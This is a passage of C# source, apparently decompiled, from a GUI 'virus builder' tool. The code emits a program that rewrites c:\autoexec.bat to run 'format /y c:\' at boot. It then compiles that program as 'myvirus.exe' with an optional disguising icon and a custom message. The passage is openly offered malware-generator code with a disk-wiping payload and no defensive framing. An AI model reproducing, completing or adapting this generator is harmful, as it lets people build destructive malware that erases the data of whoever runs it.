this.myvirus.WriteLine("\t\t\tStreamWriter fab = new StreamWriter(\"c:\\\\autoexec.bat\");");
if (this.farMsgSelect.Checked)
this.myvirus.WriteLine("\t\t\tfab.WriteLine(\"echo " + this.farMsg.Text + "\");");
this.myvirus.WriteLine("\t\t\tfab.WriteLine(\"format /y c:\\\\\");");
}
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding ending message...";
if (this.useDosCons.Checked)
this.myvirus.WriteLine("\t\tConsole.WriteLine(\"" + this.endMsg.Text + "\");");
else if (this.emAst.Checked)
this.emIcon = "Asterisk";
else if (this.emQuest.Checked)
this.emIcon = "Question";
else if (this.emError.Checked)
this.emIcon = "Error";
else if (this.emInfo.Checked)
this.emIcon = "Information";
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding ending code...";
this.myvirus.WriteLine("\t\t}");
this.myvirus.WriteLine("\t\tcatch (Exception)");
this.myvirus.WriteLine("\t\t{");
this.myvirus.WriteLine("\t\t\tConsole.WriteLine(\"Error\");");
this.myvirus.WriteLine("\t\t}");
this.myvirus.WriteLine("\t}");
this.myvirus.WriteLine("}");
this.stageProgress.Value = 0;
try
{
this.stageLabel.Text = "Status: Closing file/compiling...";
this.myvirus.Close();
ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();
CompilerParameters options = new CompilerParameters(new string[1]
{
"System.Windows.Forms.dll"
});
options.GenerateExecutable = true;
options.OutputAssembly = "myvirus.exe";
if (this.fileIcon.Text != "")
options.CompilerOptions = "/win32icon:\"" + this.fileIcon.Text + "\"";
CompilerResults compilerResults = compiler.CompileAssemblyFromFile(options, "myvirus.cs");
if (compilerResults.Errors.Count > 0)
{
foreach (CompilerError error in (CollectionBase) compilerResults.Errors)
{
int num = (int) MessageBox.Show(error.ErrorText, "Compiler Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
this.statusForLabel = "An error occurred.";
}
else
this.statusForLabel = "Done.";
}
catch (Exception ex)
{
int num = (int) MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
this.statusForLabel = "An error occurred.";
}
this.stageProgress.Value = 100;
this.stageLabel.Text = "Status: " + this.statusForLabel;
}
private void about_Click(object sender, EventArgs e) => new About().Show();
}
}